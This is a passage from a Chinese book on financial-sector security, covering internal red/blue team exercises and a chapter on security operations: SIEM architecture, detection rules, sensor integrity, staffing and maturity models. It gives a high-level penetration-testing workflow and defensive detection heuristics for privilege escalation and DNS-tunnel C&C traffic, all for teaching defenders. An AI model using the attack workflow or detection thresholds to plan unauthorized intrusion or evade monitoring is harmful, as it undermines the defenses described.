企业内网部署了各种安全控制措施形成的纵深防御体系，仍然有被突破的可能。除了黑盒检测加白盒检测的方法之外，红蓝对抗也是一种经常采用的实战化安全检测手段。红蓝对抗一方面可发现内部更多安全问题，另一方面可检测现有安全防御手段是否有效，运营体系是否跟得上。红蓝对抗有两种玩法，一种是企业内部自己玩，即一组人负责攻，一组人负责防；还有一种玩法是请外部的机构来进行渗透，内部安全团队负责防守。

相比请外部专业机构来进行渗透，内部团队存在的优势包括两个方面：一是更了解企业现有安全防御措施以及可能存在的问题；二是掌握有更多内部资源包括企业组织机构、内部网络结构、内部应用系统等等。

本节内容更偏重于内部红蓝对抗的活动，蓝队表示攻击方，红队表示防守方。


1.人员基本素质


蓝队通常由渗透测试人员组成，需要具备一些基本素质，和一些企业招渗透测试人员的能力和素质要求基本类似，具体总结如下：

1）熟悉渗透测试的基本流程和基本原则，并在实际工作中严格遵守，这一点很重要。

2）熟悉常见的漏洞原理及其攻击技术，包括但不限于操作系统、Web应用、数据库等领域。

3）熟悉编程语言，有编码能力，包括但不限于C/C++/Java/PHP/Shell/Perl/Python等。

4）对安全有浓厚的兴趣，了解安全的前沿问题和技术（这里一般有个隐性条件，英语阅读能力好会有优势）。

5）具备良好的团队协作意识和沟通能力，在大型企业里对这点要求还是有必要的。

红队负责防守，一般会包括安全系统建设、安全运营人员。由于纵深防御体系涉及的系统较多，还需要有人来做一些各系统协调相关的工作。红队的防守水平，除了依赖成员本身所积累的经验和技术水平外，更多还取决于企业安全建设能力特别是安全运营能力。


2.蓝队进攻基本流程


蓝队进攻基本流程跟渗透测试有很大类似之处，主要分为以下几步：明确目标、信息收集、漏洞探测（挖掘）、漏洞验证（利用）、提升权限、消除痕迹、事后消息分析、编写渗透测试报告。

1）明确目标。先观察和理解给定的目标网络环境或资产的范围；再确定规则，要渗透什么、怎么去渗透，渗透需要达到一个什么样的效果，有没有渗透测试时间限定等。

2）信息收集。信息收集阶段主要是收集一些基础信息，系统信息，应用信息，版本信息，服务信息，人员信息以及相关防护信息。信息收集大多是工具加手工进行收集信息，工具如Nmap，相关终端命令，浏览器插件，在线工具等。

3）漏洞探测（挖掘）。主要是探测（挖掘）系统漏洞，Web服务器漏洞，Web应用漏洞以及其他端口服务漏洞，如Telnet，SSH，VNC，远程桌面连接服务（3389）等，以及由于一些不安全配置带来的风险，如弱口令、未授权访问等。

4）漏洞验证（利用）。漏洞验证主要是利用探测到的漏洞进行攻击，方法主要有自动化验证（msf），手工验证，业务漏洞验证，公开资源的验证等。总的来说就是工具加手工，为了方便，可以将自己渗透常使用的工具进行封装为工具包。

5）提升权限。提升权限主要是在当前用户权限不是管理员的时候需要进行提升权限，提升权限可以是提升系统权限，Web应用权限或是数据库权限等。提升权限也是为了方便进行进一步的渗透，如内网渗透，确定攻击者能入侵到什么程度与深度等，从而进行对脆弱性以及对应的风险进行分析。

6）清除痕迹。主要是清除渗透过程中操作的一些痕迹，如添加的测试账号，上传的测试文件等。这一步一般建议不做，除非出于对防守方保密的需要才会做。

7）事后信息分析。主要是对整个渗透过程进行信息分析与整理，分析脆弱环节，技术防护情况以及管理方面的情况进行一个现状分析以及提出相关建议。

8）编写渗透测试报告。根据渗透测试具体情况编写渗透测试报告，渗透测试报告必须简洁明了，说清楚渗透清单（范围），攻击路径，渗透成果，以及详细的漏洞详情（相关描述、漏洞危害等）及可行的修复建议，最后对整改渗透情况进行简单的总结和分析，说清楚目前资产的状况是什么样的，应该从哪些方面进行加强和提升。


3.蓝队进攻基本原则


进攻的基本原则如下：

·稳定性原则
 是指在能够确保信息系统持续稳定运行的前提下进行进攻。通过合理选择测试工具、测试方法和测试时间，将蓝队进攻对系统正常运行的影响降到最小。

·可控性原则
 是指在客户授权许可的范围内进行进攻，并通知客户提前做好系统备份，同时对进攻过程进行监控，记录进攻过程，确保一旦发生异常能够及时发现并恢复。

·保密性原则
 是指参与进攻的蓝队工作人员应该对测试过程中收集到的信息以及对信息的分析结果严格保密，严格限制信息的传播范围。未经授权，不得泄露给工作以外的组织或个人。


4.心得体会


红蓝对抗设置两个衡量指标：攻防对抗成功率、攻防对抗检出率。对抗成功率指红队在规定时间内检测发现蓝队的比例，如10次攻防对抗，成功发现9次，攻防对抗成功率90%。对抗检出率指每次攻防对抗中，在所有应该能检测发现蓝队攻击路径上的安全感知器成功检出的比例，比如10个应该告警且被红队运营成功识别的告警，最后成功识别是蓝队攻击的告警数量是6个，那么单次检出率为60%。相比攻防对抗成功率，攻防对抗检出率更能说明红队防守质量，更值得投入去提升该指标。

笔者所在团队有一位非常优秀的渗透测试人员，内网各种系统基本上都被他成功突破过（既有B/S也有C/S，既有内部开发的也有外购的商业系统），如入无人之境，可以说是蓝队中的佼佼者。其渗透测试报告会直接发给大BOSS，大BOSS规定在收到其渗透测试报告24小时内，防守方（红队）必须提交报告并且事件出现在SOC风险展示平台才算成功发现。渗透目标不定，渗透时间不定，同时渗透人员长久以来积累了无数的资源包括各种弱密码、内部系统资料文件等，可想而知，红队压力会有多大，有时甚至根本不清楚它会攻击什么目标，更别说知道他什么时候提交了报告。在红队经历了屡战屡败后，内网的安全防御体系和常态化运营机制逐步建立，更加上对其过往的渗透测试报告进行复盘分析并在现有防御体系中加以优化，终于能成功发现几次，也不能保证每次都能成功发现（注意有事件不代表成功发现，还要运营好）。因为从发现安全事件到提交报告只有24小时，一些安全事件需要深入调查取证分析才能形成有说服力的报告。印象最深的是某个周末下着大雨，我来到被渗透的某机构现场，从一个线索到最后的结论报告提交，等我出来的时候已经是深夜。其中艰辛可想而知，也从侧面说明攻防对抗严重不对称。建议有条件的企业，红蓝对抗可以将目标朝提升整体安全防护能力方向引导。




19.6　小结



本章介绍了安全检测技术及其使用方法，其中最重要的是检测思路，本书只是介绍了一些常见的案例，更多检测思路需要长期跟踪业界技术进度，不断改进方式和思路。




第20章　安全运营



在金融企业信息安全建设初期，在网络层、系统层、应用层、数据层等部署了一系列安全设备和管控措施进行日常运维，并确保其稳定运行。但往往会发现安全状况并没有得到有效的改善，安全问题仍然频发，究其根本原因，是没有进行有效的安全运营。那么，金融企业如何建设有效的安全运营体系呢？




20.1　安全运营概述



金融企业安全的内容是什么？金融企业安全的全貌是什么？要回答这两个问题，让我们拿着显微镜，看看安全管理员每天的工作内容：每天查看各类安全设备和软件是不是正常运行；查看安全设备和系统的安全告警，响应处理如入侵检测、互联网监测、蜜罐系统、防数据泄密系统的日志和告警，查看各类审计系统，如数据库审计、防火墙规则审计，查看外部第三方漏洞平台信息；处理各类安全检测需求和工单；有分支机构管理职责的还要督促分支机构的安全管理工作；填报各类安全报表和报告;推进各类安全项目；有的还要付出大量精力应对各类安全检查和内外部审计。

做过基层安全运维的人对上述场景都会很熟悉，这是金融企业安全各个场景的缩影，但不是全貌。如果一个企业只有少量人员、服务器和产品，那么上述内容就是企业安全工作的全部。但是，如果企业拥有万台服务器、几百名程序员、数以百计的系统，那么企业安全除了安全设备部署、漏洞检测和漏洞修复之外，还要考虑安全运营的问题，从工作量上看，这两类工作各占一半。

占据“半壁江山”的安全运营，重点要实现以下两个目标：

1）将安全服务质量保持在稳定区间。

企业部署大量的安全防护设备和措施，在显著提升安全检测能力的同时带来问题：随着安全设备数量的急剧增多，如何解决安全设备有效性的问题？在应对安全设备数量和安全日志告警急剧增多的同时，如何确保安全人员工作质量的稳定输出？安全运营的目标是要尽可能消除人员责任心等因素对安全团队向外提供安全服务质量的影响。

举个例子，大餐和快餐，大餐靠的是名厨名师的发挥，如果今天这个名厨心情不好或者换个新人，可能做出的产品质量就有非常大的下降。而快餐如肯德基，所有的操作都标准化和流程化，就是没学过烹饪的人经过短期培训和严格管理，也能确保炸出的薯条味道一模一样。快餐的标准化流程和管理几乎完全消除了人的因素，确保对外提供的服务质量能够始终稳定，不会出现大幅波动的情况。

安全运营的目标之一，就是在企业扩张，业务和系统日趋复杂，资源投入保持基本稳定的情况下，尽量确保安全团队的服务质量保持在稳定区间。

2）安全工程化能力。

安全运营还需要解决的一个问题是安全工程化能力如何提升。举个例子，企业内很多有经验的安全工程师能够对一台服务器疑似被黑进行排查溯源，查看服务器进程和各种日志记录，这是工程师的个人能力。如何将安全工程师的这种能力转变成自动化的安全监测能力，并通过安全平台进行应急响应和处理，让不具备这种能力的安全人员也能成为对抗攻击者的力量，这是安全工程化能力提升的收益，也是安全运营关注的问题。

要实现目标，必须有方法。本章接下来将从架构、工具、所需资源三个方面介绍安全运营体系的实现方法。




20.2　架构



安全运营架构如图20-1所示。




图20-1　安全运营架构

为确保安全运营架构能够灵活扩展，推荐按功能划分成四个模块：安全防护框架、安全运维框架、安全验证框架、安全度量框架。


1.安全防护框架


安全防护框架的目的是部署尽可能多和有效的安全感知器（Sensor），这些安全感知器构成了信息安全的“天网”，这部分是基础工作，也是安全的传统主战场，需要历经多年的持续投入积累。安全感知器的部署遵循纵深防御的理念，如图20-2所示。

实际上可能远远不止图20-2中这些Sensor。比如网络层，可以把防火墙监测信息特别是Deny信息采集了，有些防火墙还自带IPS功能，如CheckPoint的SmartDefense，就是特别好用的安全Sensor，交换机、路由器的ACS服务器信息，堡垒机登录信息，虚拟层虚拟主机操作信息，Windows、Linux主机日志，在主机部署安全客户端的监测信息，数据库审计系统监测信息，AD系统信息，存储备份系统操作信息，KVM、ILO等带外管理系统信息，ITIL系统工单信息，应用系统应用信息（如OA系统应用日志），SAP系统应用信息，公文传输系统日志，FTP数据传输日志等。




图20-2　安全防护框架

企业基础安全的大部分内容就是建设各类安全Sensor，解决点状的安全问题和需求。比如企业防火墙多了，如何管理防火墙规则的有效性和合规性，可能需要部署诸如Algosec、firemon等防火墙规则审计工具，审计发现的信息就可以作为安全运维框架的输入。如果想监测企业内网或服务器访问了哪些恶意地址，可以采集类似ArcOSI这样的开源恶意地址库。

安全防护框架建设，需要考虑两个问题：

·给安全运维框架发送原始监测信息还是Sensor处理后的监测告警信息？如果是防火墙、IPS等安全防护系统，尽量是全量原始信息；如果是Windows、linux主机日志，合规检测，登入登出等信息，考虑对原始信息进行过滤，只和安全相关的信息才作为安全运维框架的输入。

·要不要做业务安全监测？Ayazero认为企业安全涵盖七大领域：①网络安全；②平台和业务安全；③广义的信息安全；④IT风险管理、IT审计&内控；⑤业务持续性管理；⑥安全品牌营销、渠道维护；⑦CXO们的其他需求。对于传统行业，建议做①③④⑤；对于互联网公司，建议做①②⑤；对于金融行业，建议做①③④；能力强的安全团队，建议做①②③④⑤⑥⑦。


2.安全运维框架


安全运维框架的建设目标是成为企业安全的大脑、耳目、神经中枢和手脚。在军队现代化作战体系中，美军创造性地提出了C4 ISR作战指挥系统，即指挥、控制、通信、计算机与情报、监视、侦察。一个完整的信息安全“作战指挥自动化系统”应包括以下几个分系统：基础架构平台、安全情报监视系统、数据分析系统、安全控制系统。

·“大脑”—基础架构平台。基础架构平台是构成指挥自动化系统的技术基础，指挥自动化系统要求容量大、速度快，兼容性强。

·“耳目”—安全情报，安全监视、侦察系统。主要是对安全防护框架中各安全Sensor的安全信息进行收集和处理，实现异常行为的实时安全监测。

·“神经中枢”—数据分析系统。综合运用各类智能分析算法和数据挖掘分析技术，实现安全信息处理的自动化和决策方法的科学化，以保障对安全控制设备的高效管理，主要技术是智能分析算法和模型及其实现。

·“手脚”—安全控制系统。安全检测和控制系统是用来收集与显示安全信息、实施作战指挥系统发出安全控制指令的工具，主要是各类安全控制技术和设备，如防病毒和主机安全客户端、防火墙等，实现异常行为的实时安全控制。

安全运维框架实际落地时，企业会部署SIEM、安全大数据等类似平台，实现安全检测信息的统一采集、分析处理和存储，大部分平台支持内置或自定义的黑名单检测规则进行实时检测。安全运维框架还有很重要的一部分—安全事件的流程化处理和定期review、汇报。安全事件的流程化处理应遵循企业事件管理流程（如ITIL），通过自动化下发安全工单，发送告警邮件、短信等方式进行安全提醒，安全事件确认和溯源分析主要通过人工分析和确认的方式进行。对于100%确定的安全攻击通过自动化方式进行阻断。同时，通过安全事件日例会、周报、月报、年报等方式进行闭环管理，并进行必要的管理层汇报。


3.安全验证框架


安全验证框架解决安全有效性的问题，承担对安全防护和安全运维两个框架的功能验证。安全验证框架是企业安全的蓝军，在和平时期，蓝军扮演着对手角色，利于及时发现、评估、修复、确认和改进安全防护框架和安全运维框架中的脆弱点。验证包括白盒检测（过程验证）和黑盒检测（结果验证）两部分。

白盒检测（过程验证）是指建立自动化验证平台，对安全防护框架的管控措施实现100%的全面验证，并可视化集成至安全运维平台中，管控措施失效能够在24小时内发现。通过自动化验证平台，可以达到：

·验证安全Sensor的安全监测功能有效。

·验证安全Sensor所产生的监测信息到SIEM平台的信息采集有效。

·验证SIEM平台的安全检测规则有效。

·验证告警方式（邮件、短信与可视化展示平台）有效。

基于上述目标，自动化验证要求所有的验证事件必须为自动化模拟真实事件产生，不能使用插入记录的方式产生。同时，自动化验证事件应提供判断是否为验证事件的唯一标识，验证事件产生时间需统一安排，防止集中触发。安全运维平台应能够监测到安全验证未通过的系统和规则，并产生告警信息，通知安全运维人员介入处理。

黑盒检测（结果验证）是指通过多渠道安全渗透机制和红蓝对抗演习等，先于对手发现自己的漏洞和弱点。多渠道安全渗透机制目前常见的就是安全众测，红蓝对抗演习需要企业具有较高攻防技能的安全人员，也可聘请外部专业机构完成，用于检测安全防护框架和安全运维框架的有效性。


4.安全度量框架


安全度量框架主要用于衡量评价安全有效性，这是挺难的一件事，此处仅做一些探讨。度量可以分成以下几个层次：

一是技术维度。包括防病毒安装率、正常率，入侵检测检出率、误报率，安全事件响应时长、处理时长，高危预警漏洞排查所需时间和完全修复时间等。还可以考虑安全运维平台可用性、事件收敛率等。合规性方面可以设置合规率、不合规项数量、内外部审计发现数量和严重度等。

二是安全运营成效。包括覆盖率、检出率、攻防对抗成功率。有多少业务和系统处于安全保护之下，有多少无人问津的灰色地带，安全能在企业内部推动得多深入、多快速，这是需要综合技术和软性技能的，成败主要系于安全团队负责人。检出率和攻防对抗成功率都是衡量安全有效性的有效指标，安全团队即使不能拍着胸脯保证不出事，也不能靠运气和概率生存，那么，持续提升检出率和攻防对抗成功率就是努力的方向。

三是安全满意度和安全价值。安全价值反映在安全对业务支撑的能力，如TCO/ROI、安全用多少资源、支撑了多少业务、支撑的程度等。安全价值还体现在内部的影响力以及对业务的影响力，是做微观安全还是广义安全，是为业务带来正面影响还是负分拖后腿。安全满意度是综合维度指标，是对安全团队和人员的最高要求，既要满足上级领导和业务部门对安全的利益诉求。又要满足同级横向其他IT团队对安全的利益诉求，还要满足团队内部成员的利益诉求。要提供最佳的安全服务，既让安全的用户成为安全的客户，又让使用者满意，真的是非常非常有挑战的一件事情。




20.3　工具



安全运营工具包括支撑安全运维框架实现的SIEM平台、安全事件处理标准化流程工具ITIL、安全控制自动化工具三部分：

·SIEM平台，负责安全信息的统一收集和存储、基于检测规则的异常检测和告警。

·ITIL平台，负责接收SIEM平台发送过来的安全事件信息，并据此产生ITIL工单，推送给安全运营人员处理和关闭。

·安全控制自动化工具，负责根据SIEM平台下发的安全控制指令进行自动化操作。例如，检测发现有外部攻击源，通过下发自动化指令实现防火墙或IPS封禁该攻击源；检测发现某主机有可疑进程，通过安全客户端收集该进程文件样本信息进一步手动分析；检测发现办公内网某用户计算机上有个可疑的非人工操作，疑似程序自动操作，可通过安全客户端提示用户手工确认等。

SIEM平台、ITIL平台目前市面上成熟的产品不少，但安全控制自动化工具目前商业化程度不高。


1.检测规则


如果有合适的检测规则，SIEM是个非常强大的工具，可以检测其他安全工具无法捕获的安全事件。通常SIEM的检测规则有三类：

（1）检测条件规则。满足单一特定检测条件则触发告警。例如，服务器主机登录来源非堡垒机地址，满足该条件则告警。该类型规则最简单，主要依靠安全Sensor的监测能力和规则过滤能力。是攻击就一定有异常，关键是怎么总结提炼出异常的特征加以检测，比如，Ayazero在《互联网企业高级安全》一书中提到的检测攻击提权，“某个高权限（system?uid=0）进程（bash?cmd.exe?）的父进程为低权限”，是一个总结提炼异常特征加以检测的很好案例。

（2）跨平台安全监测信息关联检测。最典型的规则为基于资产脆弱性的攻击告警，如，关联分析漏洞扫描和入侵检测告警信息进行关联检测。再比如防火墙permit日志中有连接ArcOSI中定义的恶意IP地址信息。

该类型规则在跨平台系统监测信息之间进行关联，可以衍生出很多脑洞大开的检测规则。比如，检测安全违规行为，检测数据泄密，甚至人员可能离职等。这类规则检测效果的好坏取决于两点—一是安全Sensor的类型尽可能多，单个Sensor能监测维度尽可能广；二是规则设计者的检测思维，最好就像攻击者思维一样，需要脑洞大开，需要从“猥琐”处着眼。

（3）针对长时间缓慢低频度攻击的检测规则。大部分的安全工具是以孤立方式识别潜在的安全事件，例如，IDS监测到某台工作站发出的可疑流量，然后从其他20台工作站上监测到同类流量，在IDS管理面板上，每个事件被当作单独事件处理（有些IDS厂商有高级功能），在SIEM中可以编写规则，根据事件发生的频率触发不同的告警，如果在几分钟内从IDS传来21次类似的事件可以触发一条规则。如果攻击者采取长时间缓慢低频度攻击入侵企业内网，可以编写一条SIEM规则，在较长时间内搜索特定事件，并在该事件范围内发生次数达到某个阈值时告警。

更进一步，这种检测规则对于不是以即时安全事件形式出现的日志也同样有效。以检测DNS Tunnel为例，DNS Tunnel用于将C&C流量编码为DNS请求，从被感染机器发出，通过被感染企业的DNS服务器到达C&C服务器，然后再将响应返回给企业的DNS服务器，由其转发给受感染的内网机器。正常的DNS查询都有一定频率，DNS Tunnel需要在网络上发送许多DNS数据包，那么制定内网单台机器对同一个域名的查询达到某个阈值（如10分钟内1000个查询）的规则可以有效检测DNS Tunnel。

SIEM的检测规则还可以配置为在流量来源与旧模式不同时发出告警，也可以配置为在合法时和以往正确的流量相比突然呈现指数上升或者下降时发出告警，例如，过去90天内产生一定数量日志的Web服务器突然开始产生10倍于正常数量的日志，这可能是被入侵主机用于向其他主机发动攻击的迹象。通过SIEM规则，安全团队可以根据流量的标准差制定告警，例如达到10个标准差阈值就告警。


2.健康度监控


从很多攻防案例中可以得出，防御方失败的原因主要归结于安全防护失效，其中SIEM平台工具健康度出了问题是比较常见的，包括安全Sensor安全监测信息采集器失效，SIEM检测规则失效，安全告警失效，安全告警处理失效等。

·安全检测信息采集器失效的原因主要包括：未对采集器的物理机器性能监控、采集数据异常监控、采集数据日志解析和映射入库（Parser）异常监控等。

·SIEM检测规则失效，包括设定条件无效、阈值无效、规则未生效等，有时告警阈值设置不合理而导致频繁告警，SIEM平台自动禁用规则而导致规则无效。

·安全告警失效，包括邮件、短信网关配置无效，配置用户失效，网络失效，配置变更异常，手机号码设置错误等。

·安全告警处理失效主要是人的因素，比如多条告警短信选择性地忽略，假阳性告警太多淹没了真正有威胁的告警等。

值得一提的是安全Sensor自身的安全性。韩国在2013年3月20日下午2点，包括新韩、农协和济洲等三家银行与KBS（韩国广播公司）、MBC（韩国文化广播公司）等两家电视台，超过32 000台电脑以及部分ATM提款机都在同一时间宕机，无法重新启动。黑客首先入侵了韩国防病毒软件厂商AhnLab（安博士）的病毒定义更新服务器，利用病毒库定义升级机制，将恶意软件分发到用户的计算机，在用户的计算机上安装执行恶意程序。调查发现，另一家防病毒软件公司ViRobot也被黑客利用。

设想一下，如果你在企业内部部署的安全Sensor接受更新的是恶意软件……，真让人不寒而栗。因此，做好安全Sensor的安全性，需要注意以下几个原则：

·控制指令仅允许固化的指令，严禁在Sensor端预留执行系统命令接口。

·更新包必须经过审核才可上传至更新Server保存，更新仅允许选择更新Server上以后的安装包，最好校验更新包的MD5。

·控制指令下发时必须人工审核确认后才执行。

·为可用性起见，更新最好分批分区域完成，否则由于大量更新包的下载导致生产网被堵塞，也是不可承受之痛。




20.4　所需资源



资源一般包括流程与机制、组织架构与人员等，是实现安全运营的重要保障。


1.流程与机制


有效果、高效率的安全运营流程与机制是非常重要的。安全运营流程的核心是做好两个标准化的流程：

·安全事件处理流程。定义什么级别的事件该由什么样的人，在什么时间，按什么标准处理完成。一个外部攻击扫描，和一个内部分支机构的IP地址持续不断地对重要服务器的高权限账户的暴力破解，两者安全级别肯定不同。前者最多为普通或关注事件，由安全一线工程师下发一个指令，在防火墙上自动封禁该外部IP地址一段时间即可。后者需要定义为高风险事件，需立即由有经验的安全二线工程师或安全专家联系分支机构进行溯源排查，有可能是中了金融行业的特种木马，有可能是网络蓝军在偷袭，还可能真的是有攻击者进来了。不管如何，发现这些问题，就意味着安全感知能力已经往前进步了，终于不再是靠运气和概率而工作了。

·安全运营持续改进流程。安全事件的闭环管理，每笔安全事件的处理结果最终必须为误报或者属实，二者必选其一。如果是误报，必须改进SIEM安全检测规则或安全Sensor监测措施。如果属实，好的一面是安全检测能力有效，坏的一面是坏人已经进来了，那就需要根据坏人已经突破的层面，进行针对性的改进。安全运营持续改进要求每天、每周、每月都坚持进行安全事件review，有可能重要事件被一时大意的一线人员放过，也可能是其他原因。安全运营持续改进流程的质量可能决定了整个安全运营质量。


2.组织架构与人员


我们期望的大型安全部门组织架构应该如图20-3所示。




图20-3　理想的大型安全部门组织架构图

实际工作中安全部门组织架构图却是如图20-4所示。




图20-4　实际工作中安全部门组织架构图

理想很丰满、现实很骨干，理想和现实总是有差距的。

团队规模方面，互联网公司阿里和腾讯，其安全团队的规模大约在2千人，总员工数约3万多人，安全团队人员占总员工人数约7%，金融行业和这个比例差距还比较大。国内股份制银行总行安全团队规模一般为10~20人，总行IT人员从几百到几千不等。券商的安全团队人数普遍在2~5人之间，个别券商的安全团队有7人，已经算是“豪华配置”了。

作为金融企业安全部门中的一个重要团队，安全运营的实现肯定也离不开组织与人员，以下是推荐的安全运营团队配置：

证券公司安全运营团队建议按1∶2∶3比例配置：1个安全运营平台运维人员，负责服务器和应用运维，该部分可以交给IT部门的运维团队代为运维；2个安全人员互备，一个负责安全Sensor建设，一个负责安全检测规则和安全二线，包括事件调查、回顾与汇报、持续改进；3个外包安全一线，负责7×12事件响应和初步调查确认。

股份制银行安全运营人员数量推荐配置为证券公司的2~3倍，外包人员还可视事件类型和数量增加。




20.5　安全运营的思考



有了架构、工具、资源，安全运营一定就能做得尽如人意吗？答案显然是否定的。因为实际工作中，还会遇到各种各样的问题，需要时刻保持清醒，并做出适应和改变。


1.难点


互联网行业的安全建设引领全行业的发展，原因是什么呢？人财物资源投入大？自由市场竞争充分？我认为最重要的原因是，面临解决实际安全问题的压力和需求时，采用最快、最有效的解决方案。如果直接采用传统行业的传统安全解决方案，来搞定互联网行业的安全问题和需求，无疑是行不通的。所以互联网行业做安全的关键词是“有效解决实际问题”。

在2010年以前，我们和国内金融行业同仁交流的时候，做安全的思路普遍还停留在监管合规+设备部署的阶段。我认为这是合理的。安全是和需求相匹配的，金融行业是牌照行业，监管合规是安全的首要和最重要需求，安全团队在这个阶段应最大化地满足监管合规的目标。同时，由于国家对金融业的法律保护等客观因素，金融行业的业务系统面临的风险远没有互联网行业高。

但在2010年后，由于网上银行、移动金融的快速发展，以及国内互联网安全环境的形势逐步严峻，金融行业的安全需求开始发生深刻变化，需要有效解决实际安全问题。虽然监管合规和设备部署经过历年不断的持续改进有了很大提升，但还是会不断地出现安全事件，方向在哪？笔者认为，从设备部署向安全有效运营的方向转变，是个不错的思路。

安全运营的核心是安全运维框架，承载安全运维框架的是SIEM平台或SOC平台。在金融行业微信群里经常遇到一个问题，为什么SOC容易失败？这个问题，可以等同于，安全运营的难点在哪？

（1）企业自身基础设施成熟度不高。安全运营的质量高低和企业自身基础设施的成熟度有很大关联。如果一个企业自身的资产管理、IP管理、域名管理、基础安全设备运维管理、流程管理、绩效管理等方面不完善，甚至一团糟，安全运营能独善其身、一枝独秀吗？防病毒客户端、安全客户端的安装率、正常率惨不忍睹，检测出某个IP有问题但却始终找不到该IP和资产，检测发现的安全事件没有合理的事件管理流程工具支撑运转，检测发现内部员工不遵循规范导致安全漏洞结果无任何约束……那安全运营能做什么呢？还是把点的安全做好，再考虑安全运营比较合适，比如首先把防病毒客户端运营好。

（2）安全运维不能包治百病。由于安全运维框架自身并不具有安全监测能力，安全监测依靠的是安全防护框架，SOC平台自身不产生信息，需要通过安全防护框架建设一系列安全Sensor，才能具备较强的安全监测能力，才能在企业内部具有一双安全之眼。所以，安全运维建设不能代替安全防护建设，应该部署的安全系统、安全设备还是要建。

（3）难以坚持。安全从业者们都有一个朴素的愿望，希望能有一双上帝之手帮我们解决所有的问题。安全问题往往都很棘手，我们的直观反映总是希望能有一个成本比较低、时间消耗比较少的安全解决方案，可现实总是事与愿违，因为安全没有速成，没有捷径。但凡和运营相关的，其实都不是高大上的事情，往往是和琐碎、棘手、平淡相关，甚至让人沮丧，所以安全运营难以坚持。坚持把每个告警跟踪到底，坚持每天的安全日例会，坚持每周的安全分析，坚持把每件事每天都做好，是最难的。


2.安全检测为什么会失效


单点检测和防御，和企业内规模化检测和防御，是两个概念，很多单点检测和防御很有效，但在企业上了规模后就会出现安全检测失效的问题，严重的甚至导致无法推广和部署，最终不得不取消。实践中如果某次安全攻击没有检测到，是非常好的提升企业安全运营能力的机会，这意味着一定是某个环节弱化导致安全检测失效了。

通过每一次对问题的排查和解决，就可以逐步实现安全运营能力的进步。一般排查的顺序是：单点检测深度不足→覆盖率不足→安全运维平台可用性出了问题→告警质量问题→人的问题。

第一是单点检测深度不足。可能是检测的正则表达式写得不好，或者是攻击者使用的方式没有预先考虑到，也可能是现有的安全防护框架的安全监测根本就监测不到。就这一问题，针对性的改进提升就可以了。

第二是覆盖率不足。出现问题的机器或网络区域没有部署安全监测产品，即使有监测能力，也会因为没有部署而导致检测失效。比如，防病毒客户端安装率和正常率只有80%，那么即使针对已知恶意程序，也只有不超过80%的概率能够监测发现。这个问题其实是目前很多企业安全问题的现状—有监测设备和能力，但安全检测失效。更要命的是大家往往不重视这些灰色地带，投入重金和主要精力去测试该引入部署哪些安全概念产品，如防APT、威胁情报、态势感知等，其实这些产品都离不开安全监测设备。所以这个问题的根本解决方案，就是把安全监测产品的部署率、正常率提升上去。关于企业安全灰色地带，有几个值得注意的地方：

·无人关注的资产，特别是互联网资产。漏洞通报平台报出的很多安全漏洞，得到的企业回复很多是，“这是一台测试/即将下线/无人使用/外包人员使用……”的设备，我们已关闭。这些资产除了服务器，还分配了的互联网IP、域名，不在安全监测里的系统和应用。

·开放在互联网上的管理后台、高危端口、文件上传点。

·各种已被暴出漏洞的第三方应用。

·弱口令，包括系统弱口令、应用弱口令、用户弱口令等，如果解决了口令问题，保守估计可以解决企业50%的安全问题。

第三是安全运维平台可用性出了问题，例如在前面20.3节介绍的健康度监控的问题，这块也是安全检测失效的重要原因之一。

第四是告警质量问题。SOC被诟病最多的是采集了大量数据，但往往不能判断哪些是真正需要关注的告警。告警有效性较低，导致大量问题需要人工确认，管理成本太高。安全检测规则的设计不足导致告警数量太多，导致安全运营人员选择性地忽略。

第五是人的问题。机制流程也可以理解为人的问题。如果前述原因排除，还是有安全检测失效的问题，那应归结于人的问题。比如，人的责任心问题，快到下班时间了，匆匆把告警确认关闭敷衍了事；或者人的安全技能不足，不能有效调查判断实际安全问题。


3.白名单还是黑名单


目前绝大多数安全防护措施和安全检测规则，无论说得多高大上，基本上还是基于黑名单原则，满足黑名单规则给出的告警。黑名单的优点显而易见，假阳性较低，认知理解容易；缺点是漏报率高，能不能检测到安全威胁，很大程度上需要靠概率和运气。

如果从安全有效性角度出发，白名单可能会越来越受到重视。白名单的缺点是假阳性较高，运营成本高，所以需要安全检测具有自学习能力（姑且称为人工智能），形成自动或半自动可收敛的安全检测规则。希望能尽快有成熟的商业产品，解决企业的痛点。


4.需要什么样的安全和安全运营


企业需要什么样的安全和安全运营？适合自己的就是最好的，或者说，投入收益比最大的就是最好的。企业的安全投入与公司的规模和盈利能力相关，公司规模大，盈利能力强，处于发展期时，预算和人员编制都会增加，业务停滞时安全做得再好也不会追加投入。因为在甲方，安全不是主营业务，信息技术部门已经是公司的中后台职能型部门，安全团队是信息技术部门中的中后台，谓之后台中的后台。所以适合自己的就是最好的。

企业安全建设有个阶段论：


第一阶段
 ，如果基本的安全体系尚不完备，处于救火阶段或者安全体系化建设捉襟见肘，APT攻击可以先放一边不管，先把安全中需要“快速止血”的工作做好，这就是基础安全工作。这部分工作并不高大上，但却是最基础最有用的“保命”工作，不需要太多额外投入就可以规避80%的安全问题，让企业有一个最基础的安全保障。


第二阶段
 ，系统建设阶段，建设各种安全监测防护手段，以及各类安全规范和安全流程，一般采用27001体系+商业解决方案+少量自研可以实现。


第三阶段
 ，安全高阶建设，这阶段基本商业产品很难满足企业安全需求，以自我研发和自动化、智能化为特征，核心还是以解决企业实际安全问题为目标。能进入这个阶段的企业不多，但基本代表了该行业的未来发展方向。

类似软件能力成熟度模型CMMI，安全运营也有成熟度概念：


一级，自发级
 。部署了一些较为基础的安全措施和管控，单点防御投入了较多的人力财力，比较依赖于厂商，对于企业安全没有整体把控。


二级，基础级
 。具有安全运营的理念并付诸行动，建立了较为完善的安全防护体系，并通过安全运营保障安全有效性，具有攻防能力的个人或团队能够解决实际安全问题。


三级，自动化级
 。具有自动化监测、响应、处理甚至反击能力，对企业自身安全现状和能力具有全局掌控力，具有入侵感知能力，能进行一定级别的攻防对抗。


四级，智能级
 。采用了白名单的安全防护原则，具有真正意义的智能安全检测，能够对偏离正常模式的行为进行识别。


五级，天网级
 。天网恢恢，疏而不漏，让所有恶意行为无所遁形。这个级别的安全是理想状态，目前为止还没有真实案例。

无论怎样，金融企业都要坚持“适合自己的就是最好的”原则。如果需求是一辆自行车，结果来了一辆专机，效果也未必一定好。




20.6　小结



本章介绍了企业安全运营之路，包括面临的问题、安全运营架构、支撑工具和所需资源，介绍了安全运营的难点，安全检测为什么会失效，安全运营成熟度、企业安全灰色地带、白名单还是黑名单等。安全运营的理念、工具还在快速发展完善中，有志于此的读者可以重点关注。




第21章　安全运营中心



